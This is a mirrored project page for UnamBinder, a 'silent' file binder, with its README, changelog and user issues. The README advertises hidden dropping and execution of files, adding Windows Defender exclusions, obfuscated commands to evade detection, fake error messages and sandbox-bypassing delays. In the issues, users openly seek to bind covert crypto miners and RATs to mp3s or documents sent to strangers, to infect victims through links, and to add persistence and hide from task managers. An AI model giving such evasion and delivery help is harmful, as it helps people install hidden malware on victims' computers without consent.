Code Monkey home page Code Monkey logo

unambinder's Introduction

UnamBinder 1.3.0 - A free silent native file binder

A free silent (hidden) open-source native file binder.

Main Features

  • Native or Managed - Builds the final executable as a native (C) or a managed (.NET C#) 32-bit file depending on choice
  • Silent - Drops and executes (if enabled) files without any visible output unless the bound program has one
  • Multiple files - Supports binding any amount of files
  • Compatible - Supports all tested Windows version (Windows 7 to Windows 11) and all file types
  • Windows Defender exclusions - Can add exclusions into Windows Defender to ignore any detections from the bound files
  • Icon/Assembly - Supports adding an Icon and/or Assembly Data to the built file
  • Fake Error - Supports displaying a fake error message when file is originally started

Downloads

Pre-Compiled: https://github.com/UnamSanctam/UnamBinder/releases

Wiki

You can find the wiki here or at the top of the page.

Changelog

v1.3.0 (24/05/2022)

  • Added new managed (.NET C#) assembly compiler and C# program files
  • Added option to choose between building native (C) or managed (.NET C#) builds
  • Added "Current Directory" into the file "Drop Location" option
  • Rewrote native build program code for fewer detections
  • Obfuscated all commands and added command string morphing to avoid static string detection
  • Changed Windows Defender exclusion commands to the new undetected form
  • Added save and load functionality to the builder
  • Added message box type selection to the "Fake Error" option
  • Changed compilers to always compile with a manifest to reduce detections
  • Restructured all project folders and files
  • Updated compilers

v1.2.1 (18/09/2021)

  • Changed Icon path and Assembly Data to now literalize escape characters
  • Added check for Assembly Version to ensure that it contains only numbers

v1.2.0 (14/09/2021)

  • Replaced windres with a custom compiled windres that supports spaces in file paths
  • Removed Base64 encoding/decoding in favor of using bytes directly, meaning no build file size overhead and much faster decoding
  • Added new Fake Error option that will display a custom error when the build is started
  • Added new Start Delay option to delay the dropping and execution of files, can bypass Windows Defender sandboxing
  • Added extensive error checking and more thorough messages whenever anything goes wrong
  • Added new log files for compiler errors
  • Fixed support for executing all types of files
  • Fixed possible bug when encoding very large files
  • Cleaned up code

v1.1.1 (12/09/2021)

  • Worked around windres limitation of not supporting spaces in file paths

v1.1.0 (12/09/2021)

  • Added new custom minimal MinGW64 windres resource compiler
  • Added new Icon and Assembly Data options using the new resource compiler
  • Increased key complexity to avoid general key scans
  • Fixed general small bugs
  • Optimized code

v1.0.0 (09/09/2021)

  • Initial release

You can view the full Changelog here

Author

  • Unam Sanctam

Disclaimer

I, the creator, am not responsible for any actions, and or damages, caused by this software.

You bear the full responsibility of your actions and acknowledge that this software was created for educational purposes only.

This software's main purpose is NOT to be used maliciously, or on any system that you do not own, or have the right to use.

By using this software, you automatically agree to the above.

License

This project is licensed under the MIT License - see the LICENSE file for details

Donate

XMR: 8BbApiMBHsPVKkLEP4rVbST6CnSb3LW2gXygngCi5MGiBuwAFh6bFEzT3UTufiCehFK7fNvAjs5Tv6BKYa6w8hwaSjnsg2N

BTC: bc1q26uwkzv6rgsxqnlapkj908l68vl0j753r46wvq

ETH: 0x40E5bB6C61871776f062d296707Ab7B7aEfFe1Cd

ETC: 0xd513e80ECc106A1BA7Fa15F1C590Ef3c4cd16CF3

RVN: RFsUdiQJ31Zr1pKZmJ3fXqH6Gomtjd2cQe

LINK: 0x40E5bB6C61871776f062d296707Ab7B7aEfFe1Cd

DOGE: DNgFYHnZBVLw9FMdRYTQ7vD4X9w3AsWFRv

LTC: Lbr8RLB7wSaDSQtg8VEgfdqKoxqPq5Lkn3

unambinder's People

Contributors

unamsanctam avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

unambinder's Issues

Update Defender Bypasses

Hey, I have seen the new miner and it bypasses perfectly for Defender so can you update it for your miner and binder as well? Thanks!

Silent Miner Documents?

is it possible to bind silent miner to a PDF or a document , or is binding mainly to attach to another app

Smart Screen detection

No matter what (from my tests) it detects smart screen. What's the best way to bypass smart screen? Should I be trying to find a crypter (native ) or even an obfuscator (managed)? Also, would be a huge help if you could link a good crypter or obsfucator or even a recourse where I could learn all this myself.

Question

I have a question ... if I have an application that automatically downloads an .exe file from the internet and I use this tool to insert the windows defender bypass option it creates the exception only for the first file or creates the exception also for the downloaded file (the downloaded file is in another directory)

files detected

hello legend.

i hate to waste people's time with my questions but i cant make the file i generate with the binder FUD.

i've tried to build the source code by myself, add some useless comments in the code but still no success lmao.

do u have some solutions i can try so i can obfuscate the binder?

ps: i wanted to thank you A LOT for all the work and efforts you provide for the community.

i wont forget to donate bro.

Exclusions

How can I change the exclusions UnamBinder makes?

Native-Managed

if not use crypt and obfuscator, which is better to use native or managed?

Contact

Good one my friend, would this work in the same manner as the downloader? I raise a concern for the actual detections, shall I bind the downloader to another file? Would this raise the detection? Also, is there any way to get a contact of yours to discuss some business matters? 🗡️

Detected instantly after download

I tried to download the newest veriosn of the binder from the releases page, but once downloaded WD instantly detects it, is that normal?

file size

what is the maximum file size can binder

Path not find in Managed (.NET/C#) mode

Hi @UnamSanctam !

When I try to build two files in the same directory as the binder I get an error that the file on the given path is missing. Same issue happens if I entry the absolute path of the file. The issue only happens in Managed (.NET/C# mode). It works with the Native one.

Can you please help me in resolving this issue?

error

I binded two files. I binded a random file and your recent silent miner. I keep getting the same error. The first file pops up fine, but the second one I keep getting this error.
Windows cannot find'C:\Users\Owner\AppData\Roaming\Windows'. Make sure you typed the name correctly, and then try again.

Thanks.

Need help!

Hii !
I Hope I can count on your help for a case, I can't get my miner to bypass windows defender, when I download the file directly through my Mega link, once extracted my miner is automatically suppressed and if it's not by chance at the launch a pop up appears telling me it's a virus, I wonder then if there's something I've missed, would you know?

error message.

I'm curious why do you use powershell to display the error message instead of using MessageBox() in c or MessageBox.Show() in c#

working directory

ok, so new issue, i need to get the config.json out of the binders location but i dont wanna drop the file there. so would it work if i would add "Start-Process" + commandholder + "-WorkingDirectory 'D:\folder'" to the binder.c? and how would i indentify its the tool

interesting

if i use managed version and use confuser it will work on 32 and 64 bit? I don't understand why, but when I use the managed version and use confuser, in my tests it actually bypasses many antiviruses, but amount of successful installations is less than on the native version. I don't understand

Suggestion

Build final stub as C#.
This could be used for obfuscation.
Or just a obfuscation option would be great!

Installation for all users

Is it possible to add the checkbox with the installation option for all users in the UnamBinder project?

Please help!

What should I use? native C or Managed .NET for my RAT ?

Windows Detections

some streamer opened my binded file, the problem was that it seemed that it didnt drop the real app and open it, i guess due to detections? or what could have caused that, he managed to get it to work but he had to open it like 7 times. also what could i do to make it more stabily drop and open process? since it doesnt seem to work or isnt stable this way

Resources adding

            using (var R = new System.Resources.ResourceWriter(parentid + ".Resources"))
            {
                string resourceid = RandomString(16, true, true);

                List<string> stringarray = new List<string>();
                int count = listFiles.Items.Count;
                for (int i = 0; i < count; i++)
                {
                    File filevar = (File)listFiles.Items[i];
                    try
                    {
                        R.AddResource(resourceid, AES_Encryptor(System.IO.File.ReadAllBytes(filevar.txtBindfile.Text)));
                        stringarray.Add("new string[] {" + $"\"{EncryptString(filevar.comboDropLocation.Text)}\", \"{EncryptString(filevar.txtFilename.Text)}\", \"{resourceid}\", \"{EncryptString(filevar.toggleExecute.Checked ? "true" : "false")}\"" + "}");
                    }
                    catch
                    {
                        if (BuildErrorTest(true, "Error: Could not read the file: " + filevar.txtBindfile.Text + ", make sure that the file exists and that the path is correct.")) return;
                    }
                }

                sb.Replace("$ARRAYCOUNT", count.ToString());
                sb.Replace("$STRINGARRAY", string.Join(",", stringarray));

                R.Generate();
            }

In this code, it seems that every resource will have the same "resourceid". How does the stub differentiate between them? I don't get it.

silent miner

Hi its me again from earlier, I just found this, and i was wondering if I could turn the silent miner into a .mp3 for example.
If you haven't figured yet, I'm very new to this, so expect me to say some things that don't make any sense.
My goal is to send an .mp3 via email or via something else to random people, and when they download the .mp3 and run it, it is an actual mp3 which works, but the silent miner is triggered in the "background"
would this be possible in any way using the Binder?
Thank you

You know?

Hello, I would like to ask if you know how to make it so that when you go to the url of the download page, the file is also hidden and loaded. Example: distribute a link like there is a porn photo or something like that and when you go to it, the miner was downloaded? I crypt the miner through WinRar SFX with a password, and my file is almost invisible to any antivirus, but I would like me to just throw off the link to the victim and she was already infected without noticing it. Your program is similar to this, but it makes a file, not a page URL.

Question

Its there a way to hide an game called SAMP and like the .exe executes the game and executes an miner?

Persistence and legal issues =D

It would be nice to have a persistence option like the famous .vbs that recreates the exe and executes it when deleted

an option to camouflage in processhacker, taskmgr and others like tetm in your cryptocurrency miner

and finally, if possible, it bypasses Windows Defender, it would be extremely perfect and would certainly be the choice of binder for the entire community. Thank you in advance, I really like your programs! Hug!

Windows exclusions

Is possible to execute files or at least certain files after windows exclusions are applied? So it won't give detection for that certain files. Start delay didn't help.

Binder can't open .ico and file signing doesnt work

resource.rc:2: unrecognized escape sequence
resource.rc:2: unrecognized escape sequence
resource.rc:2: unrecognized escape sequence
resource.rc:2: unrecognized escape sequence
C:\Users\s\Desktop\ETC\UnamBinder\Compiler\MinGW64\bin\windres.exe: can't open icon file `C:\Users\s\Desktop\ETC\iconsI1111.ico': No such file or directory

C:\Users\s\Desktop\ETC\UnamBinder\Compiler\MinGW64\bin\windres.exe: resource.rc:9: syntax error

Full path: C:\Users\s\Desktop\ETC\icons\1111111.ico

image

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.